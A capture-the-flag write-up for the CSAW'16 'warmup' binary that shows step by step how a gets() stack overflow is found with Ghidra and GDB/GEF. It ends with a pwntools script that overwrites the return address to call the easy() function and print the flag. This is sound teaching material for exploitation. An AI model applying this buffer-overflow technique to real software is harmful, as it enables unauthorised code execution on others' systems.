[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/05-bof_callfunction/csaw16_warmup/warmup
--2021-02-27 11:02:37-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/05-bof_callfunction/csaw16_warmup/warmup
Resolving github.com (github.com)... 140.82.121.4
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/05-bof_callfunction/csaw16_warmup/warmup [following]
--2021-02-27 11:02:38-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/05-bof_callfunction/csaw16_warmup/warmup
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.109.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8705 (8.5K) [application/octet-stream]
Saving to: ‘warmup’
warmup 100%[=======================================================================================================================================================================================================>] 8.50K --.-KB/s in 0.001s
2021-02-27 11:02:38 (7.11 MB/s) - ‘warmup’ saved [8705/8705]
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
→ file warmup
warmup: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ab209f3b8a3c2902e1a2ecd5bb06e258b45605a4, not stripped
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
→ chmod +x warmup
first of all let's see what we get when we run the binary file:
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
→ ./warmup
-Warm Up-
WOW:0x40060d
>something
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
→ ./warmup
-Warm Up-
WOW:0x40060d
>something2
First there is some text getting displayed, we get an address '0x40060d', then we get prompted for text input and nothing after that. So let's check what the binary file looks like in ghidra:
void main(void)
{
char local_88 [64];
char local_48 [64];
write(1,"-Warm Up-\n",10);
write(1,&DAT_0040074c,4);
sprintf(local_88,"%p\n",easy);
write(1,local_88,9);
write(1,&DAT_00400755,1);
gets(local_48);
return;
}
Here we see the main function disassembled code, which is rather simplistic, we also see that our input text gets put into the local_48 variable at -0x48 on the stack:
**************************************************************
* FUNCTION *
**************************************************************
undefined main()
undefined AL:1
undefined1 Stack[-0x48]:1 local_48 XREF[1]: 00400692(*)
undefined1 Stack[-0x88]:1 local_88 XREF[2]: 0040064d(*),
00400668(*)
main XREF[5]: Entry Point(*),
_start:0040053d(*),
_start:0040053d(*), 0040077c,
00400830(*)
0040061d 55 PUSH RBP
However most importantly, we see that the address being printed is the address of the function called 'easy' at 0x40060d
this function is supposed to print the contents of flag.txt for us. Now before that, in the main function we see that our local_48 input text variable gets passed through a 'gets' function, this is a bug because it does not limit how much data it scans in. We also see the following:
void main(void)
{
char local_88 [64];
char local_48 [64];
our local input variable (local_48) can only hold 64 bytes of data, after we write those 64 bytes of data, we overflow the buffer and start overwriting other things in memory. With this bug we can reach the return address (the address after the ret call) and with this we want to make use of the 'easy function to print us the flag. so let's use gdb to see how much data we need to send BEFORE overwriting the return address:
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
→ gdb warmup
GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 10.1.90.20210103-git using Python engine 3.9
Reading symbols from warmup...
(No debugging symbols found in warmup)
gef➤
gef➤ disas main
Dump of assembler code for function main:
0x000000000040061d <+0>: push rbp
0x000000000040061e <+1>: mov rbp,rsp
0x0000000000400621 <+4>: add rsp,0xffffffffffffff80
0x0000000000400625 <+8>: mov edx,0xa
0x000000000040062a <+13>: mov esi,0x400741
0x000000000040062f <+18>: mov edi,0x1
0x0000000000400634 <+23>: call 0x4004c0
0x0000000000400639 <+28>: mov edx,0x4
0x000000000040063e <+33>: mov esi,0x40074c
0x0000000000400643 <+38>: mov edi,0x1
0x0000000000400648 <+43>: call 0x4004c0
0x000000000040064d <+48>: lea rax,[rbp-0x80]
0x0000000000400651 <+52>: mov edx,0x40060d
0x0000000000400656 <+57>: mov esi,0x400751
0x000000000040065b <+62>: mov rdi,rax
0x000000000040065e <+65>: mov eax,0x0
0x0000000000400663 <+70>: call 0x400510
0x0000000000400668 <+75>: lea rax,[rbp-0x80]
0x000000000040066c <+79>: mov edx,0x9
0x0000000000400671 <+84>: mov rsi,rax
0x0000000000400674 <+87>: mov edi,0x1
0x0000000000400679 <+92>: call 0x4004c0
0x000000000040067e <+97>: mov edx,0x1
0x0000000000400683 <+102>: mov esi,0x400755
0x0000000000400688 <+107>: mov edi,0x1
0x000000000040068d <+112>: call 0x4004c0
0x0000000000400692 <+117>: lea rax,[rbp-0x40]
0x0000000000400696 <+121>: mov rdi,rax
0x0000000000400699 <+124>: mov eax,0x0
0x000000000040069e <+129>: call 0x400500
0x00000000004006a3 <+134>: leave
0x00000000004006a4 <+135>: ret
gef➤ b *main +134
Breakpoint 1 at 0x4006a3
here we want the first breakpoint right before the return call at +134, then we run the binary:
gef➤ r
Starting program: /home/nothing/binexp/2/warmup/warmup
-Warm Up-
WOW:0x40060d
>13371337
Breakpoint 1, 0x00000000004006a3 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x00007fffffffe0b0 → "13371337"
$rbx : 0x0
$rcx : 0x00007ffff7fac980 → 0x00000000fbad2288
$rdx : 0x0
$rsp : 0x00007fffffffe070 → "0x40060d\n"
$rbp : 0x00007fffffffe0f0 → 0x00000000004006b0 → <__libc_csu_init+0> push r15
$rsi : 0x31373333
$rdi : 0x00007ffff7faf680 → 0x0000000000000000
$rip : 0x00000000004006a3 → leave
$r8 : 0x00007fffffffe0b0 → "13371337"
$r9 : 0x0
$r10 : 0x6e
$r11 : 0x246
$r12 : 0x0000000000400520 → <_start+0> xor ebp, ebp
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe070│+0x0000: "0x40060d\n" ← $rsp
0x00007fffffffe078│+0x0008: 0x000000000000000a
0x00007fffffffe080│+0x0010: 0x0000000000000000
0x00007fffffffe088│+0x0018: 0x0000000000000000
0x00007fffffffe090│+0x0020: 0x0000000000000000
0x00007fffffffe098│+0x0028: 0x0000000000000000
0x00007fffffffe0a0│+0x0030: 0x0000000000000000
0x00007fffffffe0a8│+0x0038: 0x00000000000000c2
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400694 rex.RB ror BYTE PTR [r8-0x77], 0xc7
0x400699 mov eax, 0x0
0x40069e call 0x400500
→ 0x4006a3 leave
0x4006a4 ret
0x4006a5 nop WORD PTR cs:[rax+rax*1+0x0]
0x4006af nop
0x4006b0 <__libc_csu_init+0> push r15
0x4006b2 <__libc_csu_init+2> mov r15d, edi
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "warmup", stopped 0x4006a3 in main (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4006a3 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
We gave it a simple pattern '13371337' so now we search for that pattern:
gef➤ search-pattern 13371337
[+] Searching '13371337' in memory
[+] In '[heap]'(0x602000-0x623000), permission=rw-
0x6022a0 - 0x6022aa → "13371337\n"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffe0b0 - 0x7fffffffe0b8 → "13371337"
gef➤ i f
Stack level 0, frame at 0x7fffffffe100:
rip = 0x4006a3 in main; saved rip = 0x7ffff7e14d0a
Arglist at 0x7fffffffe0f0, args:
Locals at 0x7fffffffe0f0, Previous frame's sp is 0x7fffffffe100
Saved registers:
rbp at 0x7fffffffe0f0, rip at 0x7fffffffe0f8
Now let's calculate the offset:
>>> hex(0x7fffffffe0f8 - 0x7fffffffe0b0)
'0x48'
So now we know that after 0x48 bytes of input, we start overwriting the return address, so we can write the following exploit:
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/warmup]
→ vim exploit.py
from pwn import *
target = process('./warmup')
# Make the payload
payload = b""
payload += b"0"*0x48 # Overflow the buffer up to the return address
payload += p64(0x40060d) # Overwrite the return address with the address of the `easy` function
# Send the payload
target.sendline(payload)
target.interactive()
Then run it:
[ 192.168.100.126/24 ] [ /dev/pts/3 ] [binexp/2/warmup]
→ python3 exploit.py
[+] Starting local process './warmup': pid 78458
[*] Switching to interactive mode
-Warm Up-
WOW:0x40060d
>flag{g0ttem_b0yz}
[*] Got EOF while reading in interactive
$ exit
[*] Process './warmup' stopped with exit code -11 (SIGSEGV) (pid 78458)
[*] Got EOF while sending in interactive
and we got the flag !
text
text